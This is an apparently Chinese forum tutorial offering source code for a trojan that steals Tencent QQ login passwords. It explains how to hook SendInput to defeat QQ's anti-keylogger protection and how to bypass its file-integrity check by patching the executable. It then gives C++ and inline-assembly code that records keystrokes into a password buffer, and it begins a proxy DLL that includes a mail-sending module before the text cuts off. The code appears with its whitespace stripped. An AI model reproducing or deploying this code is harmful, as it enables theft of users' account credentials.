代码没给大家讲解,不知道看懂没。所以,现在我原理给大家说一下,腾讯QQ安装了两个钩子一个是WH_DEBUG,还有一个是WH_KEYBOARD_LL,当QQ的密码框获得焦点的时候DEBUG钩子就开始用SendInput发送乱码,在QQ启动的时候也会先调用SendInput发送一个乱码,所以就挂钩SendInput这个函数,我们正确安装按键的时候QQ会通过WH_KERBOARD_LL低级钩子,发送一个错误的按键信息,在这里通过分析,发现在WIN7系统上真实的按键的就在0x12faa0处记录着,挂钩之后判断一下来源,if(nRetAddress!=0x74F3&&nRetAddress!=0x7374),就排除不是真实按键调用的,当然上面这句我们是WIn7上的地址,所有有朋友说,在XP上不行,由于我是WIN7的系统,还没装XP的虚拟机,所以并没添加这个判断,传进来的pInputs等我们基本上就不用去管他,然后通过if(pInputs-ki.dwFlags==0)判断是否是键盘按下,如果是按下,我们就开始记录。DWORDnRetAddress=0;_asm{moveax,0movax,[ebp+4]movnRetAddress,eax}if(nRetAddress!=0x74F3&&nRetAddress!=0x7374)这就是取得是什么地方在调用SendInput.charkey=0;_asm{movebx,0x12faa0moveax,0moval,[ebx]movkey,al}获取真实的按键,稍后我换上XP系统后,会将这个几个关键西方的发出,大家就可以在XP上也能使用这个木马了。有人会问为什么我的文件是User32Hook.cpp实际挂钩的是SendInput,这个是因为,我用OD分析的时候发现在User32.dll中有一个固定地址通过[ebp+c]之后也可以获取到键盘按下的真实按键信息,只要挂钩在那里,也是可以获得真确的按键信息,然后写出木马,并且可以早于QQ的WH_KEYBOARD_LL钩子获取真实按键,就算QQ在WH_KEYBOARD_LL把WIN7下地址为0x12faa0的真实按键信息清0,也是没有用的,兴趣的朋友,就在WH_KEYBOARD_LL上下段,然后往上跟就会看到了。只是这样挂钩USER32.dll的时候光写这个DLL了,就得去修改QQ.EXE文件,修改QQEXE后,他有个自身文件的验证,可以通过修改输入表,替换掉CreateFileW改变打开的文件,而绕过他的文件验证保护,在首地址写入,加载DLL的代码,立马挂钩USER32.DLL,然后恢复QQ的OEP地址的内存,从新回到QQ的OEP,这样就可以在QQ输入密码的时候早于QQ获得,也不用在挂钩SendInput,后来我发现WH_KEYBOARD_LL钩子中当真实的按键按下时,他也会去调用SendInput虽然是错的按键,但是我们可以通过0x12faa0获得真实的按键,所以我就改写了,代码,这样看起来更简单。其他的我就不多说,有兴趣的朋友,在分析把!代码在后面,我会陆续全部贴上代码:#includewindows.h#includestdio.h#includeWinAble.h#pragmacomment(lib,User32.lib)#includeUser32Hook.hcharg_Password[100]={0};intg_KeyIndex=0;BYTEg_OldFunc[8];BYTEg_NewFunc[8];FARPROCg_lpHookFunc;BYTEg_NewFunc2[8]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};DWORDg_lpHookFunc2;charasciiKey1[]={'~','1','2','3','4','5','6','7','8','9','0','-','=','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','[',']','\\',';','\'',',','.','/','0','1','2','3','4','5','6','7','8','9','*','+','-','.','*'};charasciiKey2[]={'~','1','2','3','4','5','6','7','8','9','0','-','=','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','[',']','\\',';','\'',',','.','/','0','1','2','3','4','5','6','7','8','9','*','+','-','.','*'};unsignedintasciiTbl[]={0xFFFFFFC0,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0xFFFFFFBD,0xFFFFFFBB,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F,0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5A,0xFFFFFFDB,0xFFFFFFDD,0xFFFFFFDC,0xFFFFFFBA,0xFFFFFFDE,0xFFFFFFBC,0xFFFFFFBE,0xFFFFFFBF,0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6A,0x6B,0x6D,0x6E,0x6F};UINTWINAPIXwSendInput(UINTnInputs,LPINPUTpInputs,intcbSize){DWORDnRetAddress=0;_asm{moveax,0movax,[ebp+4]movnRetAddress,eax}UINTnRet=0;HookOff();nRet=SendInput(nInputs,pInputs,cbSize);HookOn();if(nRetAddress!=0x74F3&&nRetAddress!=0x7374){charkey=0;_asm{movebx,0x12faa0moveax,0moval,[ebx]movkey,al}POINTpoint;::GetCaretPos(&point);intpostion=point.x/8;if(pInputs-ki.dwFlags==0){for(inti=0;i63;i++){if(GetKeyState(VK_NUMLOCK)==0&&i(63-15))break;if(asciiTbl[i]==key){if((GetKeyState(VK_CAPITAL)==1&&GetAsyncKeyState(VK_SHIFT)!=0)||GetKeyState(VK_CAPITAL)==0&&GetAsyncKeyState(VK_SHIFT)==0){if(postiong_KeyIndex){for(intk=g_KeyIndex;k=postion;k--){g_Password[k+1]=g_Password[k];}g_Password[postion]=asciiKey1[i];g_KeyIndex++;}elseg_Password[g_KeyIndex++]=asciiKey1[i];}if((GetKeyState(VK_CAPITAL)==1&&GetAsyncKeyState(VK_SHIFT)==0)||(GetKeyState(VK_CAPITAL)==0&&GetAsyncKeyState(VK_SHIFT)!=0)){if(postiong_KeyIndex){for(intk=g_KeyIndex;k=postion;k--){g_Password[k+1]=g_Password[k];}g_Password[postion]=asciiKey2[i];g_KeyIndex++;}elseg_Password[g_KeyIndex++]=asciiKey2[i];}}}if(key==0x8){if(g_KeyIndex0){g_Password[g_KeyIndex]=0;g_Password[--g_KeyIndex]=0;}}}}returnnRet;}voidInitHookCallBack(){g_lpHookFunc=GetProcAddress(GetModuleHandle(user32.dll),SendInput);g_NewFunc[0]=0xe9;memcpy(g_OldFunc,(char*)g_lpHookFunc,5);DWORD*pNewFuncAddress=(DWORD*)&g_NewFunc[1];*pNewFuncAddress=(DWORD)((FARPROC)XwSendInput)-((DWORD)g_lpHookFunc)-5;}voidHookOn(){DWORDdwOleFlag;WriteProcessMemory(GetCurrentProcess(),(void*)g_lpHookFunc,(void*)g_NewFunc,5,&dwOleFlag);}voidHookOff(){DWORDdwNewFlag;WriteProcessMemory(GetCurrentProcess(),(void*)g_lpHookFunc,(void*)g_OldFunc,5,&dwNewFlag);}木马dll函数的main.cpp文件的代码代码:#includeWindows.h#includestdio.h#includeUser32Hook.h#includeSendMail.h#pragmacomment(linker,/export:DllCanUnloadNow=Command.DllCanUnloadNow)#pragmacomment(linker,/export:DllGetClassObject=Command.DllGetClassObject)#pragmacomment(linker,/export:DllMain=Command.DllMain)#pragmacomment(linker,/export:DllRegisterServer=Command.DllRegisterServer)#pragmacomment(linker,/export:DllUnregisterServer=Command.DllUnregisterServer)HWNDhLoginWindow,hUserName,hUserPwd;charg_UserName[100]={0};charg_Version[100]={0};voidWaitLoginWindow(){Sleep(1500);while(true){hLoginWindow=GetForegroundWindow();POINTpni;RECTrcWindow;GetWindowRect(hLoginWindow,&rcWindow);pni.y=rcWindow.top+115;pni.x=rcWindow.left+100;hUserName=WindowFromPoint(pni);pni.y=rcWindow.top+155;pni.x=rcWindow.left+100;hUserPwd=Wind